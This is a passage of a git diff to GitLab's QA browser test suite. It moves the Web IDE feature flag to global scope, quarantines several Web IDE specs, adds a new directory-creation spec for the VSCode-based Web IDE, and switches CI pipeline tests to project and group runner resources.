+ Page::Project::Wiki::Show.perform(&:click_edit)
+ Page::Project::Wiki::Edit.perform(&:delete_page)
- Page::Project::Wiki::Show.perform do |wiki|
- expect(wiki).to have_no_page
+ Page::Project::Wiki::Show.perform do |wiki|
+ expect(wiki).to have_no_page
+ end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/add_file_template_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/add_file_template_spec.rb
index b4103bd0976..7d21c635347 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/add_file_template_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/add_file_template_spec.rb
@@ -54,11 +54,10 @@ module QA
Page::Project::Show.perform(&:create_new_file!)
Page::File::Form.perform do |form|
+ form.add_custom_name(template[:file_name])
form.select_template template[:file_name], template[:name]
expect(form).to have_normalized_ws_text(content[0..100])
-
- form.add_name("#{SecureRandom.hex(8)}/#{template[:file_name]}")
form.commit_changes
aggregate_failures "indications of file created" do
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/add_file_template_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/add_file_template_spec.rb
index 93f804f1e39..6cbbfb9e7e5 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/add_file_template_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/add_file_template_spec.rb
@@ -1,7 +1,12 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :project }, product_group: :editor do
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global },
+ product_group: :editor,
+ quarantine: {
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/387033',
+ type: :stale
+ } do
describe 'Web IDE file templates' do
include Runtime::Fixtures
@@ -11,11 +16,11 @@ module QA
project.description = 'Add file templates via the Web IDE'
project.initialize_with_readme = true
end
- Runtime::Feature.disable(:vscode_web_ide, project: @project)
+ Runtime::Feature.disable(:vscode_web_ide)
end
after(:all) do
- Runtime::Feature.enable(:vscode_web_ide, project: @project)
+ Runtime::Feature.enable(:vscode_web_ide)
end
templates = [
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb
index a001dee891a..ded1b1c9d7c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb
@@ -1,7 +1,10 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :project }, product_group: :editor do
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global }, product_group: :editor, quarantine: {
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/387029',
+ type: :stale
+ } do
describe 'Add a directory in Web IDE' do
let(:project) do
Resource::Project.fabricate_via_api! do |project|
@@ -11,13 +14,13 @@ module QA
end
before do
- Runtime::Feature.disable(:vscode_web_ide, project: project)
+ Runtime::Feature.disable(:vscode_web_ide)
Flow::Login.sign_in
project.visit!
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: project)
+ Runtime::Feature.enable(:vscode_web_ide)
end
context 'when a directory with the same name already exists' do
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
index cb0da601a88..45499ea1999 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
@@ -1,7 +1,10 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :project }, product_group: :editor do
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global }, product_group: :editor, quarantine: {
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/387723',
+ type: :stale
+ } do
describe 'First file using Web IDE' do
let(:project) do
Resource::Project.fabricate_via_api! do |project|
@@ -13,12 +16,12 @@ module QA
let(:file_name) { 'the very first file.txt' }
before do
- Runtime::Feature.disable(:vscode_web_ide, project: project)
+ Runtime::Feature.disable(:vscode_web_ide)
Flow::Login.sign_in
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: project)
+ Runtime::Feature.enable(:vscode_web_ide)
end
it "creates the first file in an empty project via Web IDE", testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347803' do
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb
index 2007fe4a667..3ea87d90c2d 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb
@@ -1,7 +1,10 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :project }, product_group: :editor do
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global }, product_group: :editor, quarantine: {
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/387035',
+ type: :stale
+ } do
describe 'Link to line in Web IDE' do
let(:user) { Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1) }
let(:project) do
@@ -11,12 +14,12 @@ module QA
end
before do
- Runtime::Feature.disable(:vscode_web_ide, project: project)
+ Runtime::Feature.disable(:vscode_web_ide)
Flow::Login.sign_in
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: project)
+ Runtime::Feature.enable(:vscode_web_ide)
project.remove_via_api!
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
index dc9f68c5c73..7195dd5c970 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :project }, product_group: :editor do
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global }, product_group: :editor do
describe 'Open a fork in Web IDE',
skip: {
issue: "https://gitlab.com/gitlab-org/gitlab/-/issues/351696",
@@ -15,11 +15,11 @@ module QA
end
before do
- Runtime::Feature.disable(:vscode_web_ide, project: parent_project)
+ Runtime::Feature.disable(:vscode_web_ide)
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: parent_project)
+ Runtime::Feature.enable(:vscode_web_ide)
end
context 'when a user does not have permissions to commit to the project' do
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb
index 039d25477bf..02d2710656d 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb
@@ -1,7 +1,10 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :project }, product_group: :editor do
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global }, product_group: :editor, quarantine: {
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/387031',
+ type: :stale
+ } do
describe 'Open Web IDE from Diff Tab' do
files = [
{
@@ -44,13 +47,13 @@ module QA
end
before do
- Runtime::Feature.disable(:vscode_web_ide, project: project)
+ Runtime::Feature.disable(:vscode_web_ide)
Flow::Login.sign_in
merge_request.visit!
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: project)
+ Runtime::Feature.enable(:vscode_web_ide)
end
it 'opens and edits a multi-file merge request in Web IDE from Diff Tab', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347724' do
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
index fe0060e9bbc..4c21581781d 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
@@ -1,7 +1,10 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :project }, product_group: :editor do
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global }, product_group: :editor, quarantine: {
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/387043',
+ type: :stale
+ } do
describe 'Review a merge request in Web IDE' do
let(:new_file) { 'awesome_new_file.txt' }
let(:original_text) { 'Text' }
@@ -23,13 +26,13 @@ module QA
end
before do
- Runtime::Feature.disable(:vscode_web_ide, project: project)
+ Runtime::Feature.disable(:vscode_web_ide)
Flow::Login.sign_in
merge_request.visit!
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: project)
+ Runtime::Feature.enable(:vscode_web_ide)
end
it 'opens and edits a merge request in Web IDE', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347786' do
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/server_hooks_custom_error_message_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/server_hooks_custom_error_message_spec.rb
index 3cd14ecd799..8c171e6bc8c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/server_hooks_custom_error_message_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/server_hooks_custom_error_message_spec.rb
@@ -2,8 +2,12 @@
module QA
RSpec.describe 'Create', :skip_live_env, except: { job: 'review-qa-*' },
- feature_flag: { name: 'vscode_web_ide', scope: :project },
- product_group: :editor do
+ feature_flag: { name: 'vscode_web_ide', scope: :global },
+ product_group: :editor,
+ quarantine: {
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/387928',
+ type: :stale
+ } do
describe 'Git Server Hooks' do
let(:file_path) { File.absolute_path(File.join('qa', 'fixtures', 'web_ide', 'README.md')) }
@@ -16,13 +20,13 @@ module QA
end
before do
- Runtime::Feature.disable(:vscode_web_ide, project: project)
+ Runtime::Feature.disable(:vscode_web_ide)
Flow::Login.sign_in
project.visit!
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: project)
+ Runtime::Feature.enable(:vscode_web_ide)
end
context 'Custom error messages' do
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb
index c6e283f67e0..781623d10f6 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb
@@ -1,7 +1,10 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :project }, product_group: :editor do
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global }, product_group: :editor, quarantine: {
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/387032',
+ type: :stale
+ } do
describe 'Upload a file in Web IDE' do
let(:file_path) { File.absolute_path(File.join('qa', 'fixtures', 'web_ide', file_name)) }
@@ -13,7 +16,7 @@ module QA
end
before do
- Runtime::Feature.disable(:vscode_web_ide, project: project)
+ Runtime::Feature.disable(:vscode_web_ide)
Flow::Login.sign_in
project.visit!
@@ -21,7 +24,7 @@ module QA
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: project)
+ Runtime::Feature.enable(:vscode_web_ide)
end
context 'when a file with the same name already exists' do
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb
index 695b295bd86..599c34ed3db 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb
@@ -10,12 +10,12 @@ module QA
issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/338179',
type: :bug
},
- feature_flag: { name: 'vscode_web_ide', scope: :project },
+ feature_flag: { name: 'vscode_web_ide', scope: :global },
product_group: :editor
) do
describe 'Web IDE web terminal' do
before do
- Runtime::Feature.disable(:vscode_web_ide, project: project)
+ Runtime::Feature.disable(:vscode_web_ide)
project = Resource::Project.fabricate_via_api! do |project|
project.name = 'web-terminal-project'
end
@@ -37,7 +37,7 @@ module QA
)
end
- @runner = Resource::Runner.fabricate_via_api! do |runner|
+ @runner = Resource::ProjectRunner.fabricate_via_api! do |runner|
runner.project = project
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = %w[web-ide]
@@ -58,7 +58,7 @@ module QA
end
after do
- Runtime::Feature.enable(:vscode_web_ide, project: project)
+ Runtime::Feature.enable(:vscode_web_ide)
@runner.remove_via_api! if @runner
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide_new/add_new_directory_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide_new/add_new_directory_in_web_ide_spec.rb
new file mode 100644
index 00000000000..7b40c8a62c1
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide_new/add_new_directory_in_web_ide_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create', feature_flag: { name: 'vscode_web_ide', scope: :global }, product_group: :editor do
+ describe 'Add a directory in Web IDE' do
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'add-directory-project'
+ project.initialize_with_readme = true
+ end
+ end
+
+ before do
+ Runtime::Feature.enable(:vscode_web_ide)
+ Flow::Login.sign_in
+ project.visit!
+ end
+
+ after do
+ Runtime::Feature.disable(:vscode_web_ide)
+ end
+
+ context 'when a directory with the same name already exists' do
+ let(:directory_name) { 'first_directory' }
+
+ before do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.add_files(
+ [
+ {
+ file_path: 'first_directory/test_file.txt',
+ content: "Test file content"
+ }
+ ])
+ end
+ project.visit!
+ end
+
+ it 'throws an error', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/386760' do
+ Page::Project::Show.perform(&:open_web_ide!)
+ Page::Project::WebIDE::VSCode.perform do |ide|
+ ide.wait_for_ide_to_load
+ ide.create_new_folder(directory_name)
+ ide.within_vscode_editor do
+ expect(page).to have_content('A file or folder first_directory already exists at this location.')
+ end
+ end
+ end
+ end
+
+ context 'when user adds a new empty directory' do
+ let(:directory_name) { 'new_empty_directory' }
+
+ before do
+ Page::Project::Show.perform(&:open_web_ide!)
+ end
+
+ it 'shows successfully but not able to be committed',
+testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/386761' do
+ Page::Project::WebIDE::VSCode.perform do |ide|
+ ide.wait_for_ide_to_load
+ ide.create_new_folder(directory_name)
+ ide.commit_and_push(directory_name)
+ ide.within_vscode_editor do
+ expect(page).to have_content('No changes found. Not able to commit.')
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/custom_variable_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/custom_variable_spec.rb
index 5dda8b04805..2ae28d54242 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/custom_variable_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/custom_variable_spec.rb
@@ -14,7 +14,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb
index 48d6ed8dc49..a8ec0a1c835 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb
@@ -14,7 +14,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/raw_variables_defined_in_yaml_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/raw_variables_defined_in_yaml_spec.rb
index a4849d47183..81ccd36c514 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/raw_variables_defined_in_yaml_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/raw_variables_defined_in_yaml_spec.rb
@@ -2,10 +2,7 @@
module QA
RSpec.describe 'Verify', :runner do
- describe 'Pipeline with raw variables in YAML', product_group: :pipeline_authoring, feature_flag: {
- name: 'ci_raw_variables_in_yaml_config',
- scope: :project
- } do
+ describe 'Pipeline with raw variables in YAML', product_group: :pipeline_authoring do
let(:executor) { "qa-runner-#{Time.now.to_i}" }
let(:pipeline_job_name) { 'rspec' }
@@ -16,14 +13,14 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
end
end
- let(:commit_ci_file) do
+ let!(:commit_ci_file) do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.project = project
commit.commit_message = 'Add .gitlab-ci.yml'
@@ -76,10 +73,7 @@ module QA
let(:pipeline_id) { project.pipelines.first[:id] }
let(:job_id) { project.job_by_name(pipeline_job_name)[:id] }
- def before_do
- # TODO: Switch to use `let!` and remove this line when removing FF
- commit_ci_file
-
+ before do
Flow::Login.sign_in
project.visit!
Flow::Pipeline.visit_latest_pipeline(status: 'passed')
@@ -92,55 +86,20 @@ module QA
runner&.remove_via_api!
end
- context 'when FF is on', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/381487' do
- before do
- Runtime::Feature.enable(:ci_raw_variables_in_yaml_config, project: project)
- sleep 60
-
- before_do
- end
-
- it 'expands variables according to expand: true/false', :aggregate_failures do
- Page::Project::Job::Show.perform do |show|
- expect(show.output).to have_content("VAR1 is JOBID-#{job_id}")
- expect(show.output).to have_content("VAR2 is PIPELINEID-#{pipeline_id} and JOBID-#{job_id}")
- expect(show.output).to have_content("VAR3 is PIPELINEID-$CI_PIPELINE_ID and $VAR1")
- expect(show.output).to have_content("VAR4 is JOBID-$CI_JOB_ID")
- expect(show.output).to have_content("VAR5 is PIPELINEID-#{pipeline_id} and JOBID-$CI_JOB_ID")
- expect(show.output).to have_content("VAR6 is PIPELINEID-$CI_PIPELINE_ID and $VAR4")
- expect(show.output).to have_content("VAR7 is overridden value 7 #{pipeline_id}")
- expect(show.output).to have_content("VAR8 is value 8 $CI_PIPELINE_ID")
- end
- end
- end
-
- # TODO: Remove this context when FF :ci_raw_variables_in_yaml_config is removed
- # Also archive testcase and close related issue
- context 'when FF is off',
- testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/381486',
- quarantine: {
- issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/381806',
- only: { pipeline: %w[staging staging-canary staging-ref] },
- type: :waiting_on
- } do
- before do
- Runtime::Feature.disable(:ci_raw_variables_in_yaml_config, project: project)
- sleep 60
-
- before_do
- end
-
- it 'expands all variables', :aggregate_failures do
- Page::Project::Job::Show.perform do |show|
- expect(show.output).to have_content("VAR1 is JOBID-#{job_id}")
- expect(show.output).to have_content("VAR2 is PIPELINEID-#{pipeline_id} and JOBID-#{job_id}")
- expect(show.output).to have_content("VAR3 is PIPELINEID-#{pipeline_id} and JOBID-#{job_id}")
- expect(show.output).to have_content("VAR4 is JOBID-#{job_id}")
- expect(show.output).to have_content("VAR5 is PIPELINEID-#{pipeline_id} and JOBID-#{job_id}")
- expect(show.output).to have_content("VAR6 is PIPELINEID-#{pipeline_id} and JOBID-#{job_id}")
- expect(show.output).to have_content("VAR7 is overridden value 7 #{pipeline_id}")
- expect(show.output).to have_content("VAR8 is value 8 #{pipeline_id}")
- end
+ it(
+ 'expands variables according to expand: true/false',
+ :aggregate_failures,
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/381487'
+ ) do
+ Page::Project::Job::Show.perform do |show|
+ expect(show.output).to have_content("VAR1 is JOBID-#{job_id}")
+ expect(show.output).to have_content("VAR2 is PIPELINEID-#{pipeline_id} and JOBID-#{job_id}")
+ expect(show.output).to have_content("VAR3 is PIPELINEID-$CI_PIPELINE_ID and $VAR1")
+ expect(show.output).to have_content("VAR4 is JOBID-$CI_JOB_ID")
+ expect(show.output).to have_content("VAR5 is PIPELINEID-#{pipeline_id} and JOBID-$CI_JOB_ID")
+ expect(show.output).to have_content("VAR6 is PIPELINEID-$CI_PIPELINE_ID and $VAR4")
+ expect(show.output).to have_content("VAR7 is overridden value 7 #{pipeline_id}")
+ expect(show.output).to have_content("VAR8 is value 8 $CI_PIPELINE_ID")
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
index b6270c11ef6..0aedbd307bf 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
@@ -1,10 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Verify', :smoke, :runner, product_group: :pipeline_execution, quarantine: {
- issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/356295',
- type: :investigating
- } do
+ RSpec.describe 'Verify', :runner, product_group: :pipeline_execution do
describe 'Pipeline creation and processing' do
let(:executor) { "qa-runner-#{Time.now.to_i}" }
@@ -15,7 +12,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
index d773d0f36d0..5bbe09b3fb0 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
@@ -20,7 +20,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb
index ba1363d79c5..588d22275df 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb
@@ -15,7 +15,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
index 34f548a0e69..ddd91f97515 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
@@ -12,7 +12,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb
index 448da6d9d87..5dff2db6f2b 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb
@@ -14,7 +14,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/parent_child_pipelines_independent_relationship_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/parent_child_pipelines_independent_relationship_spec.rb
index a7ca7b82d1e..fef90a7c8fc 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/parent_child_pipelines_independent_relationship_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/parent_child_pipelines_independent_relationship_spec.rb
@@ -10,7 +10,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate_via_api! do |runner|
+ Resource::ProjectRunner.fabricate_via_api! do |runner|
runner.project = project
runner.name = project.name
runner.tags = [project.name]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
index fca34fc1f8e..7d1339d2c2d 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
@@ -22,10 +22,10 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::GroupRunner.fabricate! do |runner|
runner.name = executor
runner.tags = [executor]
- runner.token = group.reload!.runners_token
+ runner.group = group
end
end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_with_image_pull_policy_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_with_image_pull_policy_spec.rb
index d30d5b43568..aaaa11ef867 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_with_image_pull_policy_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_with_image_pull_policy_spec.rb
@@ -13,7 +13,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = runner_name
runner.tags = [runner_name]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_with_manual_jobs_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_with_manual_jobs_spec.rb
index 4223caaafef..4294235a8b1 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_with_manual_jobs_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_with_manual_jobs_spec.rb
@@ -13,7 +13,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
index c1d996df925..3361ab98bda 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
@@ -12,7 +12,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb
index 83283c5d8e3..bd656142989 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb
@@ -12,7 +12,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
